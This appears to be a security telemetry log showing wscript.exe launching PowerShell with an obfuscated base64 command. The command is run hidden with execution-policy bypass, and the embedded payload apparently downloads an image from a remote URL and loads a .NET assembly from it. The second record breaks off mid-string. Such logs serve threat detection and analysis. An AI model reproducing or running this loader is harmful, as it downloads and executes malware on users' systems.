parent_process wscript.exe martian_process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = '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ZQSeUGEvAbfwTjZQSeUbgBkvAbfwTjZQSeUCvAbfwTjZQSeUvAbfwTjZQSeUJvAbfwTjZQSeUBlvAbfwTjZQSeUG4vAbfwTjZQSeUZvAbfwTjZQSeUBJvAbfwTjZQSeUG4vAbfwTjZQSeUZvAbfwTjZQSeUBlvAbfwTjZQSeUHgvAbfwTjZQSeUIvAbfwTjZQSeUvAbfwTjZQSeUtvAbfwTjZQSeUGcvAbfwTjZQSeUdvAbfwTjZQSeUvAbfwTjZQSeUgvAbfwTjZQSeUCQvAbfwTjZQSeUcwB0vAbfwTjZQSeUGEvAbfwTjZQSeUcgB0vAbfwTjZQSeUEkvAbfwTjZQSeUbgBkvAbfwTjZQSeUGUvAbfwTjZQSeUevAbfwTjZQSeUvAbfwTjZQSeU7vAbfwTjZQSeUCQvAbfwTjZQSeUcwB0vAbfwTjZQSeUGEvAbfwTjZQSeUcgB0vAbfwTjZQSeUEkvAbfwTjZQSeUbgBkvAbfwTjZQSeUGUvAbfwTjZQSeUevAbfwTjZQSeUvAbfwTjZQSeUgvAbfwTjZQSeUCsvAbfwTjZQSeUPQvAbfwTjZQSeUgvAbfwTjZQSeUCQvAbfwTjZQSeUcwB0vAbfwTjZQSeUGEvAbfwTjZQSeUcgB0vAbfwTjZQSeUEYvAbfwTjZQSeUbvAbfwTjZQSeUBhvAbfwTjZQSeUGcvAbfwTjZQSeULgBMvAbfwTjZQSeUGUvAbfwTjZQSeUbgBnvAbfwTjZQSeUHQvAbfwTjZQSeUavAbfwTjZQSeUvAbfwTjZQSeU7vAbfwTjZQSeUCQvAbfwTjZQSeUYgBhvAbfwTjZQSeUHMvAbfwTjZQSeUZQvAbfwTjZQSeU2vAbfwTjZQSeUDQvAbfwTjZQSeUTvAbfwTjZQSeUBlvAbfwTjZQSeUG4vAbfwTjZQSeUZwB0vAbfwTjZQSeUGgvAbfwTjZQSeUIvAbfwTjZQSeUvAbfwTjZQSeU9vAbfwTjZQSeUCvAbfwTjZQSeUvAbfwTjZQSeUJvAbfwTjZQSeUBlvAbfwTjZQSeUG4vAbfwTjZQSeUZvAbfwTjZQSeUBJvAbfwTjZQSeUG4vAbfwTjZQSeUZvAbfwTjZQSeUBlvAbfwTjZQSeUHgvAbfwTjZQSeUIvAbfwTjZQSeUvAbfwTjZQSeUtvAbfwTjZQSeUCvAbfwTjZ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';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('vAbfwTjZQSeU','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"
parent_process wscript.exe martian_process powershell -command "$Codigo = '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